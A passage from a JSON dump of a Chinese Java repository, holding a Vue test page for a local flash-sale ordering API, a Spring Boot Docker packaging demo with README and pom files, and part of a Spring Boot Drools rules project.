:span=\"18\">\n\t\t\t\t\t\t\t\t<el-form-item label=\"库存信息\">\n\t\t\t\t\t\t\t\t\t<el-input v-model=\"realStockNum\"></el-input>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t\t<el-col :span=\"6\">\n\t\t\t\t\t\t\t\t<el-form-item>\n\t\t\t\t\t\t\t\t\t<el-button type=\"warning\" @click.native=\"getStockNum\">获取库存信息</el-button>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t</el-row>\n\t\t\t\t\t\t<el-row>\n\t\t\t\t\t\t\t<el-col :span=\"18\">\n\t\t\t\t\t\t\t\t<el-form-item label=\"openId\">\n\t\t\t\t\t\t\t\t\t<el-input v-model=\"openId\"></el-input>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t\t<el-col :span=\"6\">\n\t\t\t\t\t\t\t\t<el-form-item>\n\t\t\t\t\t\t\t\t\t<el-button type=\"primary\" @click.native=\"goSeckillByQueue\">开始秒杀</el-button>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t</el-row>\n\t\t\t\t\t\t<el-row>\n\t\t\t\t\t\t\t<el-col :span=\"24\">\n\t\t\t\t\t\t\t\t<el-form-item>\n\t\t\t\t\t\t\t\t\t<span v-html=\"message\"></span>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t</el-row>\n\t\t\t\t\t</el-form>\n\t\t\t\t</el-main>\n\t\t\t</el-container>\n\t\t</el-container>\n\t</div>\n</body>\n<!-- import Vue before Element -->\n<script src=\"../js/vue.js\"></script>\n<!-- import JavaScript -->\n<script src=\"../js/index.js\"></script>\n<script src=\"../js/jquery-1.9.1.min.js\" type=\"text/javascript\"></script>\n<script>\n    new Vue({\n      el: '#app',\n      data: function() {\n        return { \n          stallActivityId: 11,\n          form: {},\n          stockNum: 50,\n          realStockNum: '',\n          count: 100,\n          openId: 'This is a test openId',\n          message: '',\n          orderQualificationCode: null\n        }\n      },\n      methods:{\n    \t  getStockNum: function(){\n    \t\t  var params = {stallActivityId: this.stallActivityId };\n    \t\t  $.ajax({\n\t\t         type: 'POST',\n\t\t         url: 'http://localhost:8080/api/seckill/getStockNum',\n\t\t         dataType: \"json\",\n\t    \t \t contentType:\"application/json\",\n\t\t         data: JSON.stringify(params),\n\t\t         async: true,\n\t\t         success:function(data){\n\t\t\t         if( data.isSuccess == true ){\n\t\t\t\t\t\t this.realStockNum = \"真实库存剩余：\" + data.realStockNum + \"；未锁定库存剩余： \" + data.stockNum;\n\t\t\t         }else{\n\t\t\t        \t this.$message({\n\t\t\t                message: data.responseMsg,\n\t\t\t                type: 'error'\n\t\t\t             });\n\t\t\t         }\n\t\t\t     }.bind(this)\n    \t\t  });\n    \t  },\n    \t  setStockNum: function(){\n    \t\t  var params = {stallActivityId: this.stallActivityId, stockNum: this.stockNum };\n    \t\t  $.ajax({\n\t\t         type: 'POST',\n\t\t         url: 'http://localhost:8080/api/seckill/setStockNum',\n\t\t         dataType: \"json\",\n\t    \t \t contentType:\"application/json\",\n\t\t         data: JSON.stringify(params),\n\t\t         async: true,\n\t\t         success:function(data){\n\t\t\t         if( data.isSuccess == true ){\n\t\t\t        \t this.$message({\n\t\t\t                message: data.responseMsg,\n\t\t\t                type: 'success'\n\t\t\t             });\n\t\t\t         }else{\n\t\t\t        \t this.$message({\n\t\t\t                message: data.responseMsg,\n\t\t\t                type: 'error'\n\t\t\t             });\n\t\t\t         }\n\t\t\t     }.bind(this)\n    \t\t  });\n    \t  },\n    \t  goSeckillByQueue: function(){\n    \t\t  var params = {stallActivityId: this.stallActivityId, purchaseNum: 1, openId: this.openId,\n    \t\t\t\t  formId: 'test formId', addressId: 100};\n    \t\t  $.ajax({\n \t\t         type: 'POST',\n \t\t         url: 'http://localhost:8080/api/seckill/goSeckillByQueue',\n \t\t         dataType: \"json\",\n \t    \t \t contentType:\"application/json\",\n \t\t         data: JSON.stringify(params),\n \t\t         async: true,\n \t\t         success:function(data){\n \t\t\t         if( data.isSuccess == true ){\n \t\t\t        \t this.$message({\n \t\t\t                message: data.responseMsg,\n \t\t\t                type: 'success'\n \t\t\t             });\n \t\t\t        \t this.message += data.responseMsg + \"<br/>\";\n \t\t\t        \t this.seckillPollingQueue();\n \t\t\t         }else{\n \t\t\t        \tthis.message += data.responseMsg + \"<br/>\";\n \t\t\t         }\n \t\t\t     }.bind(this)\n     \t\t  });\n    \t  },\n    \t  seckillPollingQueue: function(){\n    \t\t  var params = {stallActivityId: this.stallActivityId, openId: this.openId };\n    \t\t  $.ajax({\n  \t\t         type: 'POST',\n  \t\t         url: 'http://localhost:8080/api/seckill/seckillPollingQueue',\n  \t\t         dataType: \"json\",\n  \t    \t \t contentType:\"application/json\",\n  \t\t         data: JSON.stringify(params),\n  \t\t         async: true,\n  \t\t         success:function(data){\n  \t\t\t         if( data.isSuccess == true ){\n  \t\t\t        \t if( data.orderQualificationCode != null ){\n  \t\t\t        \t\tthis.message += data.responseMsg + \"，下单资格码为：\" + data.orderQualificationCode + \"<br/>\";\n  \t\t\t        \t\tthis.orderQualificationCode = data.orderQualificationCode;\n  \t\t\t        \t\tthis.createOrder();\n  \t\t\t        \t }else{\n\t  \t\t\t        \tthis.message += data.responseMsg + \"<br/>\";\n\t  \t\t\t        \tsetTimeout(function(){this.seckillPollingQueue()}.bind(this), 1000);\n  \t\t\t        \t }\n  \t\t\t         }else{\n  \t\t\t        \tthis.message += data.responseMsg + \"<br/>\";\n  \t\t\t         }\n  \t\t\t     }.bind(this)\n      \t\t  });\n    \t  },\n    \t  createOrder: function(){\n    \t\t  var params = {stallActivityId: this.stallActivityId, openId: this.openId, orderQualificationCode: this.orderQualificationCode };\n    \t\t  $.ajax({\n   \t\t         type: 'POST',\n   \t\t         url: 'http://localhost:8080/api/seckill/createOrder',\n   \t\t         dataType: \"json\",\n   \t    \t \t contentType:\"application/json\",\n   \t\t         data: JSON.stringify(params),\n   \t\t         async: true,\n   \t\t         success:function(data){\n   \t\t\t         if( data.isSuccess == true ){\n  \t\t\t        \tthis.message += \"恭喜您，下单成功！ <br/>\";\n   \t\t\t         }else{\n   \t\t\t        \tthis.message += data.responseMsg + \"<br/>\";\n   \t\t\t         }\n   \t\t\t     }.bind(this)\n       \t\t  });\n    \t  }\n      }\n    })\n  </script>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/Dockerfile",
    "content": "# 基础镜像\nFROM openjdk:8-jdk-alpine\n\n# 作者信息\nMAINTAINER \"Yangkai.Shen 237497819@qq.com\"\n\n# 添加一个存储空间\nVOLUME /tmp\n\n# 暴露8080端口\nEXPOSE 8080\n\n# 添加变量，如果使用dockerfile-maven-plugin，则会自动替换这里的变量内容\nARG JAR_FILE=target/spring-boot-demo-docker.jar\n\n# 往容器中添加jar包\nADD ${JAR_FILE} app.jar\n\n# 启动镜像自动运行程序\nENTRYPOINT [\"java\",\"-Djava.security.egd=file:/dev/urandom\",\"-jar\",\"/app.jar\"]"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/README.md",
    "content": "# spring-boot-demo-docker\n\n> 本 demo 主要演示了如何容器化一个  Spring Boot 项目。通过 `Dockerfile` 的方式打包成一个 images 。\n\n## Dockerfile\n\n```dockerfile\n# 基础镜像\nFROM openjdk:8-jdk-alpine\n\n# 作者信息\nMAINTAINER \"Yangkai.Shen 237497819@qq.com\"\n\n# 添加一个存储空间\nVOLUME /tmp\n\n# 暴露8080端口\nEXPOSE 8080\n\n# 添加变量，如果使用dockerfile-maven-plugin，则会自动替换这里的变量内容\nARG JAR_FILE=target/spring-boot-demo-docker.jar\n\n# 往容器中添加jar包\nADD ${JAR_FILE} app.jar\n\n# 启动镜像自动运行程序\nENTRYPOINT [\"java\",\"-Djava.security.egd=file:/dev/urandom\",\"-jar\",\"/app.jar\"]\n```\n\n## 打包方式\n\n### 手动打包\n\n1. 前往 Dockerfile 目录，打开命令行执行\n\n   ```bash\n   $ docker build -t spring-boot-demo-docker .\n   ```\n\n2. 查看生成镜像\n\n   ```bash\n   $ docker images\n   \n   REPOSITORY                                                        TAG                 IMAGE ID            CREATED             SIZE\n   spring-boot-demo-docker                                           latest\t      bc29a29ffca0        2 hours ago         119MB\n   openjdk                                                           8-jdk-alpine        97bc1352afde        5 weeks ago         103MB\n   ```\n\n3. 运行\n\n   ```bash\n   $ docker run -d -p 9090:8080 spring-boot-demo-docker\n   ```\n\n###  使用 maven 插件打包\n\n1. pom.xml 中添加插件\n\n2. ```xml\n   <properties>\n       <dockerfile-version>1.4.9</dockerfile-version>\n   </properties>\n   \n   <plugins>      \n       <plugin>\n           <groupId>com.spotify</groupId>\n           <artifactId>dockerfile-maven-plugin</artifactId>\n           <version>${dockerfile-version}</version>\n           <configuration>\n               <repository>${project.build.finalName}</repository>\n               <tag>${project.version}</tag>\n               <buildArgs>\n                   <JAR_FILE>target/${project.build.finalName}.jar</JAR_FILE>\n               </buildArgs>\n           </configuration>\n           <executions>\n               <execution>\n                   <id>default</id>\n                   <phase>package</phase>\n                   <goals>\n                       <goal>build</goal>\n                   </goals>\n               </execution>\n           </executions>\n       </plugin>\n   </plugins>\n   ```\n\n2. 执行mvn打包命令，因为插件中 `execution` 节点配置了 package，所以会在打包的时候自动执行 build 命令。\n\n   ```bash\n   $ mvn clean package -Dmaven.test.skip=true\n   ```\n\n3. 查看镜像\n\n   ```bash\n   $ docker images\n   \n   REPOSITORY                                                        TAG                 IMAGE ID            CREATED             SIZE\n   spring-boot-demo-docker                                           1.0.0-SNAPSHOT      bc29a29ffca0        2 hours ago         119MB\n   openjdk                                                           8-jdk-alpine        97bc1352afde        5 weeks ago         103MB\n   ```\n\n4. 运行\n\n   ```bash\n   $ docker run -d -p 9090:8080 spring-boot-demo-docker:1.0.0-SNAPSHOT\n   ```\n\n## 参考\n\n- docker 官方文档：https://docs.docker.com/\n- Dockerfile 命令，参考文档：https://docs.docker.com/engine/reference/builder/\n- maven插件使用，参考地址：https://github.com/spotify/dockerfile-maven"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/pom.docker.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-docker</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-docker</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.0.0.RELEASE</version>\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t\t<docker.image.prefix>springboot</docker.image.prefix>\n\t</properties>\n\n\t<dependencies>\n\t     <dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-starter-web</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t\t<!-- Docker maven plugin -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>com.spotify</groupId>\n\t\t\t\t<artifactId>docker-maven-plugin</artifactId>\n\t\t\t\t<version>1.0.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<imageName>${docker.image.prefix}/${project.artifactId}</imageName>\n\t\t\t\t\t<dockerDirectory>src/main/docker</dockerDirectory>\n\t\t\t\t\t<resources>\n\t\t\t\t\t\t<resource>\n\t\t\t\t\t\t\t<targetPath>/</targetPath>\n\t\t\t\t\t\t\t<directory>${project.build.directory}</directory>\n\t\t\t\t\t\t\t<include>${project.build.finalName}.jar</include>\n\t\t\t\t\t\t</resource>\n\t\t\t\t\t</resources>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!-- Docker maven plugin -->\n\t\t</plugins>\n\t</build>\n\t\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>springboot_docker</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <dockerfile-version>1.4.9</dockerfile-version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_docker</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>com.spotify</groupId>\n                <artifactId>dockerfile-maven-plugin</artifactId>\n                <version>${dockerfile-version}</version>\n                <configuration>\n                    <repository>${project.build.finalName}</repository>\n                    <tag>${project.version}</tag>\n                    <buildArgs>\n                        <JAR_FILE>target/${project.build.finalName}.jar</JAR_FILE>\n                    </buildArgs>\n                </configuration>\n<!--                <executions>-->\n<!--                    &lt;!&ndash;设置运行 mvn package 的时候自动执行docker build&ndash;&gt;-->\n<!--                    <execution>-->\n<!--                        <id>default</id>-->\n<!--                        <phase>package</phase>-->\n<!--                        <goals>-->\n<!--                            <goal>build</goal>-->\n<!--                        </goals>-->\n<!--                    </execution>-->\n<!--                </executions>-->\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/docker/Dockerfile",
    "content": "FROM openjdk:8-jdk-alpine\nVOLUME /tmp\nADD spring-boot-docker-1.0.jar app.jar\nENTRYPOINT [\"java\",\"-Djava.security.egd=file:/dev/./urandom\",\"-jar\",\"/app.jar\"]"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/java/com/jun/plugin/DockerApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DockerApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(DockerApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/java/com/jun/plugin/controller/DockerController.java",
    "content": "package com.jun.plugin.controller;\n\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class DockerController {\n\t\n    @RequestMapping(\"/\")\n    public String index() {\n        return \"Hello Docker!\";\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/java/com/jun/plugin/docker/SpringBootDemoDockerApplication.java",
    "content": "package com.jun.plugin.docker;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class SpringBootDemoDockerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoDockerApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/java/com/jun/plugin/docker/controller/HelloController.java",
    "content": "package com.jun.plugin.docker.controller;\n\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n * Hello Controller\n * </p>\n *\n * @package: com.xkcoding.docker.controller\n * @description: Hello Controller\n * @author: yangkai.shen\n * @date: Created in 2018-11-29 14:58\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@RequestMapping\npublic class HelloController {\n    @GetMapping\n    public String hello() {\n        return \"Hello,From Docker!\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/resources/application.properties",
    "content": ""
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/test/java/com/jun/plugin/DockerApplicationTests.java",
    "content": "package com.jun.plugin;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class DockerApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello docker\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_docker/src/test/java/com/jun/plugin/docker/SpringBootDemoDockerApplicationTests.java",
    "content": "package com.jun.plugin.docker;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoDockerApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/README.md",
    "content": "# springboot-drools\nhttp://localhost:8099/rules/1\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_drools</artifactId>\n\t<version>1.0</version>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.3.0.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <start-class>com.us.drools.WebApplication</start-class>\n\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <maven.compiler.source>1.8</maven.compiler.source>\n\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <drools.version>6.5.0.Final</drools.version>\n        <commons-io.version>2.4</commons-io.version>\n        <commons-fileupload.version>1.3.1</commons-fileupload.version>\n        <druid.version>1.0.14</druid.version>\n        <mybatis.version>3.2.7</mybatis.version>\n        <mybatis-spring.version>1.2.2</mybatis-spring.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.kie</groupId>\n            <artifactId>kie-api</artifactId>\n            <version>6.5.0.Final</version>\n        </dependency>\n        <dependency>\n            <groupId>org.drools</groupId>\n            <artifactId>drools-core</artifactId>\n            <version>6.5.0.Final</version>\n        </dependency>\n        <dependency>\n            <groupId>org.drools</groupId>\n            <artifactId>drools-compiler</artifactId>\n            <version>6.5.0.Final</version>\n        </dependency>\n        <dependency>\n            <groupId>org.drools</groupId>\n            <artifactId>drools-decisiontables</artifactId>\n            <version>6.5.0.Final</version>\n        </dependency>\n        <dependency>\n            <groupId>org.drools</groupId>\n            <artifactId>drools-templates</artifactId>\n            <version>6.5.0.Final</version>\n        </dependency>\n\n        <!-- springboot -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-logging</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-log4j</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-tomcat</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.tomcat.embed</groupId>\n            <artifactId>tomcat-embed-jasper</artifactId>\n        </dependency>\n\n\n\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context-support</artifactId>\n        </dependency>\n        <!-- db -->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-tx</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n        </dependency>\n\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.mybatis</groupId>\n            <artifactId>mybatis</artifactId>\n            <version>${mybatis.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.mybatis</groupId>\n            <artifactId>mybatis-spring</artifactId>\n            <version>${mybatis-spring.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n            <version>r07</version>\n        </dependency>\n\n        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.4</version>\n        </dependency>\n        <!--data source  -->\n        <dependency>\n            <groupId>com.mchange</groupId>\n            <artifactId>c3p0</artifactId>\n            <version>0.9.5.2</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>commons-logging</groupId>\n                    <artifactId>commons-logging</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n    </dependencies>\n\n    <repositories>\n        <repository>\n            <id>spring-snapshots</id>\n            <url>http://repo.spring.io/libs-snapshot</url>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>spring-snapshots</id>\n            <url>http://repo.spring.io/libs-snapshot</url>\n        </pluginRepository>\n    </pluginRepositories>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <mainClass>${start-class}</mainClass>\n                </configuration>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/rules.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50713\n Source Host           : localhost\n Source Database       : rules\n\n Target Server Type    : MySQL\n Target Server Version : 50713\n File Encoding         : utf-8\n\n Date: 12/14/2016 16:06:02 PM\n*/\n\nSET NAMES utf8;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n--  Table structure for `rules`\n-- ----------------------------\nDROP TABLE IF EXISTS `rules`;\nCREATE TABLE `rules` (\n  `id` int(11) NOT NULL,\n  `rules` varchar(1000) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=latin1;\n\n-- ----------------------------\n--  Records of `rules`\n-- ----------------------------\nBEGIN;\nINSERT INTO `rules` VALUES ('1', 'package com.us.drools; import com.us.drools.bean.Message; rule \\\"Hello World abel \\\" when message:Message (status == \\\"0\\\") then System.out.println(\\\"hello, Drools abel2   !\\\"); end');\nCOMMIT;\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/Application.java",
    "content": "package com.jun.plugin.drools;\n\n\nimport java.util.Arrays;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.context.web.SpringBootServletInitializer;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\n\n@ComponentScan(basePackages =\"com.us.drools\")\n@SpringBootApplication\n@EnableScheduling\npublic class Application extends SpringBootServletInitializer{\n\t@Override\n\tprotected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n\t\treturn application.sources(Application.class);\n\t}\n\tpublic static void main(String[] args) throws Exception {\n\t\tApplicationContext ctx = SpringApplication.run(Application.class, args);\n\n\t\tString[] beanNames = ctx.getBeanDefinitionNames();\n\t\tArrays.sort(beanNames);\n\t\tfor (String beanName : beanNames) {\n\t\t\t//System.out.println(beanName);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/bean/Message.java",
    "content": "package com.jun.plugin.drools.bean;\n\nimport java.io.Serializable;\n\n/**\n * Created by yangyibo on 16/12/8.\n */\npublic class Message implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    private String status;\n\n    public String getStatus() {\n        return status;\n    }\n\n    public void setStatus(String status) {\n        this.status = status;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/bean/ResourceWrapper.java",
    "content": "package com.jun.plugin.drools.bean;\n\n/**\n * Created by yangyibo on 16/12/8.\n */\nimport org.kie.api.io.Resource;\n\npublic class ResourceWrapper {\n    private Resource resource;\n\n    private String   targetResourceName;\n\n    public ResourceWrapper(Resource resource, String targetResourceName) {\n        this.resource = resource;\n        this.targetResourceName = targetResourceName;\n    }\n\n    public Resource getResource() {\n        return resource;\n    }\n\n    public String getTargetResourceName() {\n        return targetResourceName;\n    }\n\n    public void setResource(Resource resource) {\n        this.resource = resource;\n    }\n\n    public void setTargetResourceName(String targetResourceName) {\n        this.targetResourceName = targetResourceName;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/bean/Rules.java",
    "content": "package com.jun.plugin.drools.bean;\n\n/**\n * Created by yangyibo on 16/12/9.\n */\npublic class Rules {\n\n\n    private Integer id;\n    private String rules;\n\n    public String getRules() {\n        return rules;\n    }\n\n    public void setRules(String rules) {\n        this.rules = rules;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/config/DBConfig.java",
    "content": "package com.jun.plugin.drools.config;\n\nimport java.beans.PropertyVetoException;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.env.Environment;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.google.common.base.Preconditions;\nimport com.mchange.v2.c3p0.ComboPooledDataSource;\n\n@Configuration\npublic class DBConfig {\n\t@Autowired\n\tprivate Environment env;\n\n//\t@Bean(name = \"dataSource\")\n//\tpublic DruidDataSource dataSource() {\n//\t\tfinal String url = Preconditions.checkNotNull(env.getProperty(\"ms.db.url\"));\n//\t\tfinal String username = Preconditions.checkNotNull(env.getProperty(\"ms.db.username\"));\n//\t\tfinal String password = env.getProperty(\"ms.db.password\");\n//\t\tfinal int maxActive = Integer.parseInt(env.getProperty(\"ms.db.maxActive\", \"200\"));\n//\t\tfinal String driver =env.getProperty(\"ms.db.driverClassName\");\n//\t\tDruidDataSource dataSource = new DruidDataSource();\n//        dataSource.setDriverClassName(driver);\n//\t\tdataSource.setUrl(url);\n//\t\tdataSource.setUsername(username);\n//\t\tdataSource.setPassword(password);\n//\t\tdataSource.setMaxActive(maxActive);\n//\t\treturn dataSource;\n//\n//\t}\n\n    @Bean(name=\"dataSource\")\n    public ComboPooledDataSource dataSource() throws PropertyVetoException {\n        ComboPooledDataSource dataSource = new ComboPooledDataSource();\n        dataSource.setDriverClass(env.getProperty(\"ms.db.driverClassName\"));\n        dataSource.setJdbcUrl(env.getProperty(\"ms.db.url\"));\n        